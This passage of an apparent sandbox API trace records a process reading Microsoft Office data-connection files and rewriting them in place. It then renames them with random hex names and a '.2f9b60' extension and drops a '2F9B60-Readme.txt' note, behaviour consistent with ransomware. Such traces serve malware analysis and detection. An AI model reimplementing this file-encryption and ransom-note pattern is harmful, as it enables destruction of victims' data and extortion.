_Dest=0x1ce5d8ba, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8bc, _Format="%c%c" | out: _Dest="21") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8be, _Format="%c%c" | out: _Dest="31") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8c0, _Format="%c%c" | out: _Dest="49") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8c2, _Format="%c%c" | out: _Dest="03") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8c4, _Format="%c%c" | out: _Dest="28") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8c6, _Format="%c%c" | out: _Dest="83") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8c8, _Format="%c%c" | out: _Dest="32") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8ca, _Format="%c%c" | out: _Dest="f5") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8cc, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8ce, _Format="%c%c" | out: _Dest="b1") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8d0, _Format="%c%c" | out: _Dest="9f") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8d2, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8d4, _Format="%c%c" | out: _Dest="b1") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8d6, _Format="%c%c" | out: _Dest="42") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8d8, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.756] sprintf (in: _Dest=0x1ce5d8da, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.756] RtlInitAnsiString (in: DestinationString=0x2d1dfa08, SourceString="42023e2244a121314903288332f50bb19fc1b142f8b6" | out: DestinationString="42023e2244a121314903288332f50bb19fc1b142f8b6") [0208.756] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d1df9d8, SourceString="42023e2244a121314903288332f50bb19fc1b142f8b6", AllocateDestinationString=1 | out: DestinationString="42023e2244a121314903288332f50bb19fc1b142f8b6") returned 0x0 [0208.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4319f520 [0208.757] wcscat (in: _Dest=0x431a6bf0, _Source="42023e2244a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\42023e2244a") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\42023e2244a" [0208.757] wcscat (in: _Dest=0x431a6bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\42023e2244a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\42023e2244a.2f9b60" [0208.757] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\42023e2244a.2f9b60", NtPathName=0x2d1df9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\42023e2244a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x430fd4f0 Thread: id = 1896 os_tid = 0x1060 [0133.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc")) returned 0x20 [0133.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc", dwFileAttributes=0x20) returned 1 [0133.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b6c [0133.576] GetFileSizeEx (in: hFile=0x1b6c, lpFileSize=0x2d49fde0 | out: lpFileSize=0x2d49fde0*=190) returned 1 [0133.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0133.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0133.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0133.577] NtQuerySystemTime (in: CurrentTime=0x2d49fca0 | out: CurrentTime=0x2d49fca0*=132462177388162000) returned 0x0 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x6b0c4690 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x762bcf4a [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x7046f597 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0xe5389a [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x2f91bc5e [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x2069745d [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x6cb42862 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x33f90f84 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x931326 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x85d2867 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x4452d74f [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x1a0e4393 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x527229ca [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x5a9d00a3 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x3a415139 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x6af9ae91 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x3bc403d [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x342e9597 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x484a3de4 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x4447bcfa [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0xaf5579c [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x6b115093 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x6fe204ef [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x28062030 [0133.577] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x7c9d3fc2 [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x6f0b7a32 [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x78c74c5a [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x1c9c7f09 [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x68255e44 [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x5058247e [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x31316830 [0133.578] RtlRandomEx (in: Seed=0x2d49fc90 | out: Seed=0x2d49fc90) returned 0x676849b9 [0133.586] ReadFile (in: hFile=0x1b6c, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x2d49fc90, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2d49fc90*=0xbe, lpOverlapped=0x0) returned 1 [0133.587] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.587] WriteFile (in: hFile=0x1b6c, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x2d49fc94, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2d49fc94*=0xbe, lpOverlapped=0x0) returned 1 [0133.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0133.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0133.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0133.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ca6910) returned 1 [0133.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0133.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1ced5620 [0133.592] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0133.592] WriteFile (in: hFile=0x1b6c, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d49fdb0, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x2d49fdb0*=0x130, lpOverlapped=0x0) returned 1 [0133.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0133.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0133.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0133.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97d00 [0133.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0133.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0133.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0133.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0133.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7d) returned 0x202a5b20 [0133.595] sprintf (in: _Dest=0x202a5b20, _Format="%c%c" | out: _Dest="43") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b22, _Format="%c%c" | out: _Dest="f8") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b24, _Format="%c%c" | out: _Dest="33") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b26, _Format="%c%c" | out: _Dest="97") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b28, _Format="%c%c" | out: _Dest="93") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b2a, _Format="%c%c" | out: _Dest="16") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b2c, _Format="%c%c" | out: _Dest="e8") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b2e, _Format="%c%c" | out: _Dest="0e") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b30, _Format="%c%c" | out: _Dest="13") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b32, _Format="%c%c" | out: _Dest="6f") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b34, _Format="%c%c" | out: _Dest="13") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b36, _Format="%c%c" | out: _Dest="85") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b38, _Format="%c%c" | out: _Dest="58") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b3a, _Format="%c%c" | out: _Dest="c7") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b3c, _Format="%c%c" | out: _Dest="b0") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b3e, _Format="%c%c" | out: _Dest="d5") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b40, _Format="%c%c" | out: _Dest="0b") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b42, _Format="%c%c" | out: _Dest="ff") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b44, _Format="%c%c" | out: _Dest="42") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b46, _Format="%c%c" | out: _Dest="dc") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b48, _Format="%c%c" | out: _Dest="1b") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b4a, _Format="%c%c" | out: _Dest="5b") returned 2 [0133.595] sprintf (in: _Dest=0x202a5b4c, _Format="%c%c" | out: _Dest="91") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b4e, _Format="%c%c" | out: _Dest="40") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b50, _Format="%c%c" | out: _Dest="2f") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b52, _Format="%c%c" | out: _Dest="ce") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b54, _Format="%c%c" | out: _Dest="77") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b56, _Format="%c%c" | out: _Dest="20") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b58, _Format="%c%c" | out: _Dest="94") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b5a, _Format="%c%c" | out: _Dest="03") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b5c, _Format="%c%c" | out: _Dest="53") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b5e, _Format="%c%c" | out: _Dest="94") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b60, _Format="%c%c" | out: _Dest="8d") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b62, _Format="%c%c" | out: _Dest="1d") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b64, _Format="%c%c" | out: _Dest="3f") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b66, _Format="%c%c" | out: _Dest="b4") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b68, _Format="%c%c" | out: _Dest="93") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b6a, _Format="%c%c" | out: _Dest="48") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b6c, _Format="%c%c" | out: _Dest="91") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b6e, _Format="%c%c" | out: _Dest="a9") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b70, _Format="%c%c" | out: _Dest="ea") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b72, _Format="%c%c" | out: _Dest="e6") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b74, _Format="%c%c" | out: _Dest="f4") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b76, _Format="%c%c" | out: _Dest="93") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b78, _Format="%c%c" | out: _Dest="c5") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b7a, _Format="%c%c" | out: _Dest="23") returned 2 [0133.596] sprintf (in: _Dest=0x202a5b7c, _Format="%c%c" | out: _Dest="61") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b7e, _Format="%c%c" | out: _Dest="ca") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b80, _Format="%c%c" | out: _Dest="f5") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b82, _Format="%c%c" | out: _Dest="7a") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b84, _Format="%c%c" | out: _Dest="dc") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b86, _Format="%c%c" | out: _Dest="51") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b88, _Format="%c%c" | out: _Dest="7f") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b8a, _Format="%c%c" | out: _Dest="23") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b8c, _Format="%c%c" | out: _Dest="2a") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b8e, _Format="%c%c" | out: _Dest="97") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b90, _Format="%c%c" | out: _Dest="19") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b92, _Format="%c%c" | out: _Dest="72") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b94, _Format="%c%c" | out: _Dest="d0") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b96, _Format="%c%c" | out: _Dest="ff") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b98, _Format="%c%c" | out: _Dest="98") returned 2 [0133.597] sprintf (in: _Dest=0x202a5b9a, _Format="%c%c" | out: _Dest="8f") returned 2 [0133.597] RtlInitAnsiString (in: DestinationString=0x2d49fe28, SourceString="43f833979316e80e136f138558c7b0d50bff42dc1b5b91402fce7720940353948d1d3fb4934891a9eae6f493c52361caf57adc517f232a971972d0ff988f" | out: DestinationString="43f833979316e80e136f138558c7b0d50bff42dc1b5b91402fce7720940353948d1d3fb4934891a9eae6f493c52361caf57adc517f232a971972d0ff988f") [0133.597] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d49fdf8, SourceString="43f833979316e80e136f138558c7b0d50bff42dc1b5b91402fce7720940353948d1d3fb4934891a9eae6f493c52361caf57adc517f232a971972d0ff988f", AllocateDestinationString=1 | out: DestinationString="43f833979316e80e136f138558c7b0d50bff42dc1b5b91402fce7720940353948d1d3fb4934891a9eae6f493c52361caf57adc517f232a971972d0ff988f") returned 0x0 [0133.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfa) returned 0x169a20 [0133.597] wcscat (in: _Dest=0x1193e0, _Source="43f833979316e80e136f138558c7b0d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\43f833979316e80e136f138558c7b0d") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\43f833979316e80e136f138558c7b0d" [0133.598] wcscat (in: _Dest=0x1193e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\43f833979316e80e136f138558c7b0d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\43f833979316e80e136f138558c7b0d.2f9b60" [0133.598] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\43f833979316e80e136f138558c7b0d.2f9b60", NtPathName=0x2d49fdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\43f833979316e80e136f138558c7b0d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0133.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799610 [0133.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0133.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecba20) returned 1 [0133.599] NtQueryInformationFile (in: FileHandle=0x1b6c, IoStatusBlock=0x2d49fe38, FileInformation=0x2d49fe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d49fe38, FileInformation=0x2d49fe48) returned 0x0 [0133.599] NtSetInformationFile (FileHandle=0x1b6c, IoStatusBlock=0x2d49fe38, FileInformation=0x2d49fe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0133.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0133.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169a20) returned 1 [0133.604] FlushFileBuffers (hFile=0x1b6c) returned 1 [0138.530] CloseHandle (hObject=0x1b6c) returned 1 [0138.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050b690 [0138.608] wcscpy (in: _Dest=0x2050b690, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\" [0138.608] wcscat (in: _Dest=0x2050b690, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt" [0138.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\2f9b60-readme.txt")) returned 0xffffffff [0138.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cd8 [0139.139] WriteFile (in: hFile=0x1cd8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2d49fcf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2d49fcf0*=0xba9, lpOverlapped=0x0) returned 1 [0139.216] CloseHandle (hObject=0x1cd8) returned 1 [0139.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b690) returned 1 [0139.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118e30) returned 1 Thread: id = 1897 os_tid = 0x1064 [0133.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc")) returned 0x20 [0133.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc", dwFileAttributes=0x20) returned 1 [0133.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b70 [0133.616] GetFileSizeEx (in: hFile=0x1b70, lpFileSize=0x2d3ff6a0 | out: lpFileSize=0x2d3ff6a0*=196) returned 1 [0133.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0133.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.616] NtQuerySystemTime (in: CurrentTime=0x2d3ff560 | out: CurrentTime=0x2d3ff560*=132462177388630000) returned 0x0 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x61be57e9 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x6a02bbc1 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x612fdc7d [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x71ba6065 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x18662a9e [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x6ed0a394 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x79230994 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x3704b6bf [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x3aaad0b3 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x1600ae1f [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x50c2889 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x454c43c9 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x1d9ccb9f [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x1fca15f [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x2a62283f [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x5160232c [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x4b52bec9 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x5168c1fb [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x228fa9a3 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x212561c9 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x3610cba8 [0133.617] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x24398323 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x29de6730 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x74e2ce3f [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x69f55533 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x3cf1840e [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x12542874 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x1daa83c7 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x71a08654 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x5c3ca715 [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x4030271c [0133.618] RtlRandomEx (in: Seed=0x2d3ff550 | out: Seed=0x2d3ff550) returned 0x614df431 [0133.630] ReadFile (in: hFile=0x1b70, lpBuffer=0x41ca6910, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x2d3ff550, lpOverlapped=0x0 | out: lpBuffer=0x41ca6910*, lpNumberOfBytesRead=0x2d3ff550*=0xc4, lpOverlapped=0x0) returned 1 [0133.632] SetFilePointerEx (in: hFile=0x1b70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.632] WriteFile (in: hFile=0x1b70, lpBuffer=0x41caa520*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x2d3ff554, lpOverlapped=0x0 | out: lpBuffer=0x41caa520*, lpNumberOfBytesWritten=0x2d3ff554*=0xc4, lpOverlapped=0x0) returned 1 [0133.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0133.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0133.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0133.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41caa520) returned 1 [0133.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 